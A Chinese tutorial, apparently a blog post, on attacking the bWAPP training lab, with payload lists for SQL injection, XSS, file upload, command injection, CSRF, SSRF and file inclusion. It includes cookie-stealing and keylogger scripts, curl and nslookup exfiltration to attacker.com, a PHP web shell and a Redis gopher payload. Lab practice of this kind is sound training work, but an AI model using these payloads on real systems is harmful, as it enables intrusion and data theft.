bWAPP漏洞靶场实战教程

bWAPP漏洞靶场实战教程

一、bWAPP概述

1.1 什么是bWAPP

bWAPP(Buggy Web Application)是一个集成了100+种Web漏洞的PHP/MySQL靶场,由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计,是极佳的教学工具。

1.2 核心特点

  • 100+个漏洞场景:覆盖OWASP Top 10所有漏洞
  • 多种难度级别:Low/Medium/High三个级别
  • 真实环境:模拟实际Web应用
  • 教育友好:包含Hints和解决方案
  • 开源免费:基于GPLv3协议

二、环境搭建

2.1 虚拟机方式(推荐)

# 下载bWAPP虚拟机
# 官方下载:http://www.itsecgames.com/
# 或使用Bee-box(集成了bWAPP)
wget https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z

# 解压并使用VirtualBox/VMware导入
# 默认登录:
# URL: http://192.168.0.1/
# 账号: bee / bug
# 安全等级: 默认Medium

2.2 Docker部署

# 方法一:直接运行
docker run -d -p 80:80 raesene/bwapp

# 方法二:使用docker-compose
version: '3'
services:
  bwapp:
    image: raesene/bwapp
    ports:
      - "80:80"
    environment:
      - MYSQL_PASSWORD=bug

2.3 本地部署(XAMPP/WAMP)

# 1. 下载bWAPP源码
wget https://sourceforge.net/projects/bwapp/files/latest/download

# 2. 解压到htdocs目录
unzip bWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/

# 3. 访问安装页面
http://localhost/bwapp/install.php

# 4. 配置数据库
数据库:localhost
用户名:root
密码:(空)
数据库名:bWAPP

# 5. 默认登录凭证
用户名:bee
密码:bug

三、界面导航与配置

3.1 首次使用设置

  1. 登录系统:使用bee/bug登录
  2. 选择漏洞类型:"Choose your bug"下拉菜单
  3. 设置安全级别
    • Low:无防护,用于学习原理
    • Medium:基础防护,需简单绕过
    • High:较强防护,需要高级技术
  4. 访问Hints:点击"Hints"获取漏洞提示

3.2 管理功能

-- 管理后台:http://[ip]/admin.php
-- 默认管理员:admin/bug

-- 查看用户表
SELECT * FROM users;
-- bee/bug(普通用户)
-- admin/bug(管理员)
-- smith/bug(测试用户)

四、核心漏洞实战

4.1 SQL注入漏洞家族

4.1.1 基于错误的注入(Error-Based)

Low级别:

-- 基础注入
' OR '1'='1
-- 获取数据
' UNION SELECT 1,2,3,4,5,6,7,8 --

-- 获取数据库信息
' UNION SELECT 1,database(),user(),version(),5,6,7,8 --

-- 获取表名
' UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() --

-- 获取列名
' UNION SELECT 1,column_name,3,4,5,6,7,8 FROM information_schema.columns WHERE table_name='users' --

-- 获取数据
' UNION SELECT 1,login,password,4,5,6,7,8 FROM users --
4.1.2 盲注(Blind SQLi)
-- 布尔盲注
' AND 1=1 -- 
' AND 1=2 -- 

-- 基于时间的盲注
' AND IF(1=1,SLEEP(5),0) -- 
' AND IF(SUBSTRING(database(),1,1)='b',SLEEP(5),0) -- 

-- 逐字符获取数据
' AND IF(ASCII(SUBSTRING((SELECT login FROM users LIMIT 0,1),1,1))=98,SLEEP(3),0) -- 
4.1.3 SQLi绕过技巧
-- 注释绕过
admin' -- 
admin' # 
admin' /*

-- 编码绕过
' OR 1=1  -- URL编码
%27%20%4F%52%20%31%3D%31%20%2D%2D

-- 双写绕过(针对关键字过滤)
' UNUNIONION SELSELECTECT 1,2 --

-- 大小写绕过
' Or 1=1 --
' oR 1=1 --

-- 等价函数绕过
' OR TRUE --
' OR 1 --

4.2 XSS漏洞家族

4.2.1 反射型XSS
// 基础payload
<script>alert(document.domain)</script>

// 窃取Cookie
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

// 短payload
<svg onload=alert(1)>
<img src=x onerror=alert(1)>

// DOM XSS
#<img src=x onerror=alert(1)>
javascript:alert(document.cookie)
4.2.2 存储型XSS
// 评论区注入
<script>alert('Stored XSS')</script>

// 窃取用户会话
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

// 键盘记录器
<script>
document.onkeypress = function(e) {
  new Image().src = 'http://attacker.com/log?key=' + e.key;
}
</script>
4.2.3 XSS高级绕过
// 编码绕过
<IMG SRC=j&#X41vascript:alert('test')>

// 事件处理器
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>

// iframe注入
<iframe src="javascript:alert(document.domain)">

// SVG XSS
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

4.3 文件上传漏洞

4.3.1 基础绕过
# 修改扩展名绕过
shell.php.jpg
shell.php.png
shell.pHp

# 双扩展名
shell.php.jpg.php

# 空字节绕过(PHP<5.3.4)
shell.php%00.jpg

# .htaccess攻击
# 上传.htaccess文件:
AddType application/x-httpd-php .jpg

# 然后上传shell.jpg(实际是PHP文件)
4.3.2 Content-Type绕过
POST /bWAPP/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456

------WebKitFormBoundary123456
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg  # 伪装成图片

<?php system($_GET['cmd']); ?>
4.3.3 文件内容绕过
# 使用图片马
# 创建包含PHP代码的图片
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg

# GIF图片头绕过
GIF89a;
<?php system($_GET['cmd']); ?>

4.4 命令注入

4.4.1 基础注入
# 执行多条命令
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1; ls -la

# 命令替换
127.0.0.1 && $(cat /etc/passwd)
127.0.0.1 && `whoami`
4.4.2 盲注技术
# 基于时间的盲注
127.0.0.1 && sleep 5
127.0.0.1 && ping -c 5 127.0.0.1

# 带外数据外泄
127.0.0.1 && nslookup $(whoami).attacker.com
127.0.0.1 && curl http://attacker.com/$(cat /etc/passwd|base64)
4.4.3 绕过过滤
# 空格绕过
127.0.0.1&&{cat,/etc/passwd}
127.0.0.1;cat$IFS/etc/passwd

# 关键字绕过
127.0.0.1 && a=c;b=at;c=/etc/passwd;$a$b $c
127.0.0.1 && wh''oami
127.0.0.1 && who$(echo am)i

# 编码绕过
127.0.0.1 && `echo "d2hvYW1p" | base64 -d`

4.5 CSRF攻击

4.5.1 基础CSRF
<!-- 简单GET请求 -->
<img src="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked" width="0" height="0">

<!-- POST表单 -->
<form action="http://localhost/bWAPP/csrf_2.php" method="POST" id="csrf">
  <input type="hidden" name="password_new" value="hacked">
  <input type="hidden" name="password_conf" value="hacked">
</form>
<script>document.getElementById('csrf').submit()</script>
4.5.2 高级CSRF
<!-- JSON CSRF -->
<script>
fetch('http://localhost/bWAPP/rest-api/change-password', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({newPassword: 'hacked'})
})
</script>

<!-- 使用XHR -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://localhost/bWAPP/change-email', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com');
</script>

五、其他重要漏洞

5.1 文件包含

# 本地文件包含
http://localhost/bWAPP/fi.php?page=../../../etc/passwd
http://localhost/bWAPP/fi.php?page=php://filter/convert.base64-encode/resource=index.php

# 远程文件包含
http://localhost/bWAPP/fi.php?page=http://attacker.com/shell.txt

# 日志文件包含
http://localhost/bWAPP/fi.php?page=../../../var/log/apache2/access.log

# /proc文件包含
http://localhost/bWAPP/fi.php?page=../../../proc/self/environ

5.2 不安全的直接对象引用(IDOR)

# 水平越权
GET /bWAPP/idor_1.php?movie=1  # 自己的电影
GET /bWAPP/idor_1.php?movie=2  # 他人电影

# 垂直越权
GET /bWAPP/admin/users.php     # 普通用户访问管理员页面

# 批量遍历
GET /bWAPP/idor_2.php?account=100
GET /bWAPP/idor_2.php?account=101
GET /bWAPP/idor_2.php?account=102

5.3 SSRF攻击

# 基础SSRF
http://localhost/bWAPP/ssrf.php?url=file:///etc/passwd
http://localhost/bWAPP/ssrf.php?url=http://169.254.169.254/latest/meta-data/

# 端口扫描
http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:22
http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:3306

# 协议处理
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

六、自动化工具实战

6.1 SQLMap

# 基础检测
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=test&action=search" --cookie="PHPSESSID=xxx; security_level=0"

# 获取数据库
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" --dbs

# 获取表
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" -D bWAPP --tables

# 获取数据
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" -D bWAPP -T users --dump

# 自动化测试
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --data="title=test&action=search" --cookie="PHPSESSID=xxx" --batch --level=5 --risk=3

6.2 XSStrike

# XSS自动化检测
python3 xsstrike.py -u "http://localhost/bWAPP/xss_get.php?name=test"

# 使用爬虫模式
python3 xsstrike.py -u "http://localhost/bWAPP" --crawl

# 暴力破解参数
python3 xsstrike.py -u "http://localhost/bWAPP/xss_get.php" --params "name"

6.3 Commix

# 命令注入自动化检测
python3 commix.py -u "http://localhost/bWAPP/commandi.php?target=127.0.0.1"

# 获取shell
python3 commix.py -u "http://localhost/bWAPP/commandi.php" --data="target=127.0.0.1" --os-shell

七、防御代码分析

7.1 SQL注入防护

// Low级别(无防护)
$sql = "SELECT * FROM movies WHERE title LIKE '%" . $_GET["title"] . "%'";

// Medium级别(mysql_real_escape_string)
$title = mysql_real_escape_string($_GET["title"]);
$sql = "SELECT * FROM movies WHERE title LIKE '%" . $title . "%'";

// High级别(预处理语句)
$stmt = $mysqli->prepare("SELECT * FROM movies WHERE title LIKE ?");
$search = "%" . $_GET["title"] . "%";
$stmt->bind_param("s", $search);
$stmt->execute();

7.2 XSS防护

// Low级别(无防护)
echo $_GET["name"];

// Medium级别(strip_tags)
echo strip_tags($_GET["name"]);

// High级别(htmlspecialchars)
echo htmlspecialchars($_GET["name"], ENT_QUOTES, "UTF-8");

// 额外防护:CSP头
header("Content-Security-Policy: default-src 'self'");

7.3 文件上传防护

// High级别防护
$allowed_types = array("image/jpeg", "image/png", "image/gif");
$max_size = 512000; // 500KB
$upload_dir = "uploads/";

// 检查文件类型
if (!in_array($_FILES["file"]["type"], $allowed_types)) {
    die("Invalid file type!");
}

// 检查文件大小
if ($_FILES["file"]["size"] > $max_size) {
    die("File too large!");
}

// 重命名文件
$extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$new_filename = md5(uniqid()) . "." . $extension;

// 移动文件
move_uploaded_file($_FILES["file"]["tmp_name"], $upload_dir . $new_filename);

八、实战演练计划

阶段1:基础漏洞(第1周)

  • SQL注入(所有类型)
  • XSS(反射型、存储型)
  • 命令注入
  • 文件上传
  • 文件包含

阶段2:进阶漏洞(第2周)

  • 盲注攻击
  • CSRF攻击
  • SSRF攻击
  • IDOR漏洞
  • XXE漏洞

阶段3:组合攻击(第3周)

  • SQLi -> 获取数据库 -> 文件写入 -> WebShell
  • XSS -> 窃取Cookie -> 会话劫持
  • 文件上传 -> 命令执行 -> 权限提升

阶段4:防御绕过(第4周)

  • WAF绕过技术
  • 编码绕过
  • 逻辑漏洞利用
  • 自动化工具使用

九、学习资源

官方资源

  • 官方网站:http://www.itsecgames.com/
  • GitHub仓库:https://github.com/raesene/bWAPP
  • 官方文档:http://www.itsecgames.com/download.htm

扩展学习

  1. DVWA:适合初学者的简单靶场
  2. WebGoat:OWASP官方教学靶场
  3. Juice Shop:现代Web应用靶场
  4. PentesterLab:专业渗透练习平台

工具推荐

  1. Burp Suite:Web渗透测试神器
  2. OWASP ZAP:开源Web应用扫描器
  3. SQLMap:SQL注入自动化工具
  4. XSSHunter:XSS漏洞利用平台

十、安全实践建议

10.1 测试环境配置

# 创建专用网络
docker network create bwapp-net
docker run -d --network bwapp-net --name bwapp raesene/bwapp

# 使用虚拟机快照
# 测试前创建快照,测试后恢复

10.2 合法授权

  1. 仅限本地测试:不要在生产环境测试
  2. 明确授权:获得明确书面授权
  3. 遵守法律:了解当地网络安全法规
  4. 道德约束:不为恶意目的使用技能

10.3 学习记录

# 漏洞测试记录模板

## 漏洞名称:
## 测试时间:
## 安全等级:
## 漏洞URL:
## 攻击Payload:
## 测试步骤:
## 防御措施:
## 学习心得:

通过bWAPP的系统学习,你将掌握100+种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入,每个漏洞都要尝试三个安全级别,理解不同防护措施的差异。理论与实践结合,才能真正提升Web安全能力!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值